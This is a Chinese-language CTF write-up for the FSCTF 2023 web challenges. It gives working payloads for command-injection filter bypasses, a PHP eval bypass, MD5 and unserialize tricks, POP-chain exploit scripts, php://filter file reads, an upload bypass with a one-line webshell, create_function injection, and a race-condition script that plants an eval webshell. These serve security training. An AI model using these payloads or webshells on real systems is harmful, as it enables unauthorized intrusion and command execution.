FSCTF 2023 WEB
源码!启动!
f12查看源码被禁用,直接ctrl+u查看源码,拉到底部就是flag
webshell是啥捏
在php中把$😭echo一下得知其为passthru,可以配合传入的 👽 进行命令执行,直接传入ls /扫出flag,然后cat一下就得到flag了
细狗2.0
手动测试,根据回显可以得知过滤了空格和cat,空格用${IFS}代替,cai用tac代替即可,最终payload如下
;tac${IFS}/f*
EZ_eval
进题得到源码如下
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
对代码进行分析可以得知我们需要传入word的值,并且对word进行了一系列的过滤,对于读取文件内容命令的过滤用反斜杠绕过(ca\t),引号绕过(ca""t)或者使用strings等均可,对于空格的过滤,使用%09即可,接下来还过滤了?,并且用闭合符(?>)把eval给隔离了,可以考虑使用如下标签
<script language='php'> </script>
最终传入的payload如下
?word=<script%09language='php'>system('strings%09/f*');</script>
Hello,you
F12后得到如下源码
<!--
$input = isset($_GET['input']) ? $_GET['input'] : '';
// 执行命令并返回结果
function executeCommand($command) {
$output = '';
exec($command, $output);
return $output;
}
// 注册用户
function registerUser($username) {
// .........
$command = "echo Hello, " . $username;
$result = executeCommand($command);
return $result;
}
// 处理注册请求
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$result = registerUser($username);
}
-->
大致思路就是在传入的username中用;隔开,然后写上命令执行部分,测试过程中发现cat又被过滤了,继续反斜杠绕过,payload如下
;ca\t f*
ez_php1
进题源码如下
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) {
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
首先第一部分要求传入的a和b不同但是MD5加密后相同,用数组绕过即可,然后是对传入的FL_AG进行过滤,于是先传入如下内容以获取hint1
GET: ?a[]=1&b[]=2
POST: FL_AG=1
得到了 L0vey0U.php ,前往查看,得到如下代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>
使得传入的str反序列化后等于KEY即可,传入,如下payload得到hint2
?str=s:10:"YES I love";
hint2为 P0int.php ,前往查看,内容如下
<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
public $a;
public $b;
public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
@unserialize($_POST['data']);
?>
简单的反序列化,最终payload如下
data=O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
传入后将得到的base64字符串解码即可得到flag
巴巴托斯!
进题后看到如下文字 Access Denied! I love FSCTF Browser ,推测可能是要求从FSCTF浏览器进入,于是抓包修改UA头随后又要求从本地进入,于是增加Referer字段,在之后的回显中没有看到任何提示,观察一会后发现url中有用file进行传参,于是使用php伪协议,内容如下
file=php://filter/read=convert.base64-encode/resource=flag.php
成功得到flag
寻找蛛丝马迹
先F12在源码中找到前三段flag,根据第三段的提示:我不想让谷歌搜到我的网站,猜测可能是要修改UA头,改成了火狐的UA头,没有任何作用,用dirsearch扫一下,扫出了robots.txt和www.zip,前往查看,虽然得到第四段flag和最后一段flag了,但是关于第五段的提示是中文乱码,于是用火狐浏览器打开,使用恢复文字编码工具,顺利得到提示,提示内容是和苹果有点关系,那么应该就是 .DS_store 了,前往得到第五段flag,提示说还剩最后一个是备份文件,那应该就是之前扫出来的www.zip了,最后拼接一下就得到了完整的flag了
是兄弟,就来传你の🐎!
题目说是上传一个php文件,但是上传后果然被拦截了,在bp中对后缀进行修改,发现php,php3,php4,php5,phtml均被过滤,只剩pht可行,上传后提示说这不是图片文件,于是修改文件类型,添加文件头,上传后发现对文件长度也有限制,有点束手无策了,去看了其他师傅的wp之后得知GIF89a可以直接写成GIF或者用BM头,也会判断成图片,同时直接输出根目录的所有内容,文件内容如下
BM<?=`nl /*`;
传入后得到一个路径,前往查看即可得到flag
ez_php2
进题代码如下
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?>
反序列化题,先对代码进行审计,有__destruct,__construct,__call,__set魔术方法,前两个魔术方法分别是在某个对象被删除和被构造的时候触发,__call方法则是在调用一个错误(不存在或无法访问)的方法时触发,__set方法在调用一个不存在的成员变量时触发,同时给这个不存在的成员变量赋值,开始找链子,入口应该是在Ha里面,触发__destruct方法后,给start2赋值"11111",进入 t h i s − > s t a r t 1 − > L o v e ( this->start1->Love( this−>start1−>Love(this->start);语句,使得其触发__call方法,然后给start赋值[‘POC’=>‘1111’],进入if语句,然后通过其中的varl触发__set方法,然后value就成为了system,修改$Flag就可以修改执行的命令了,脚本如下
<?php
Class Rd{
public $cl;
}
class Er{
public $Flag='cat /f*';
}
class Ha{
public $start;
public $start1;
public $start2="11111";
}
$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
签到plus
进题后提示说根目录下没有内容,于是用dirsearch扫一下,扫到了shell.php,进入查看发现是环境变量,ctrl+f查找到了flag,不过提交后发现是假的,又没想法了,去搜了一下得知是php7.4.21的文件泄露,在bp中发送如下内容
GET /shell.php HTTP/1.1
Host: node4.anna.nssctf.cn:28013
GET / HTTP/1.1
然后将得到的内容转成txt进行读取,发现和webshell是啥捏是类似的题目,具体做法就不再赘述了
CanCanNeed
进题后代码如下
<?php
class Noteasy{
protected $param1;
protected $param2;
function __destruct(){
$a=$this->param1;
$b=$this->param2;
if(preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\*|\||\<|\"|\'|\=|\?|sou|\.|log|scan|chr|local|sess|b2|id|show|cont|high|reverse|flip|rand|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|y2f/i', $this->param2)) {
die('this param is error!');
} else {
$a('', $b);
}
}
}
if (!isset($_GET['file'])){
show_source('index.php');
echo "Hi!Welcome to FSCTF2023!";
}
else{
$file=base64_decode($_GET['file']);
unserialize($file); }
?>
看到**$a(‘’, $b);** 可知是create_function()函数利用,exp如下
<?php
class Noteasy{
protected $param1 = 'create_function';
protected $param2 = "}require(base64_decode(ZmlsZTovLy9mbGFn));//"; //base64_decode(ZmlsZTovLy9mbGFn)===require(file:///flag)
}
$a = new Noteasy();
echo base64_encode(serialize($a));
原本是打算通过通过base64加密cat等读取命令绕过过滤直接读取的,但是发现还过滤了等号,导致许多base64加密后还是被过滤,看了其他师傅的wp后知道了还可以使用伪协议读取
加速加速
结合题目标签可知是条件竞争,直接使用如下脚本后用蚁剑连接shell.php即可
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://node4.anna.nssctf.cn:28908/index.php'
files = {'upload_file': (
'a.php',"<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>' ); ?>")}
data = {'submit': '上传'}
r = requests.post(url=url, data=data, files=files)
re = requests.get('http://node4.anna.nssctf.cn:28908//upload/a.php')
if re.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(50) as p:
p.map(td, range(2000))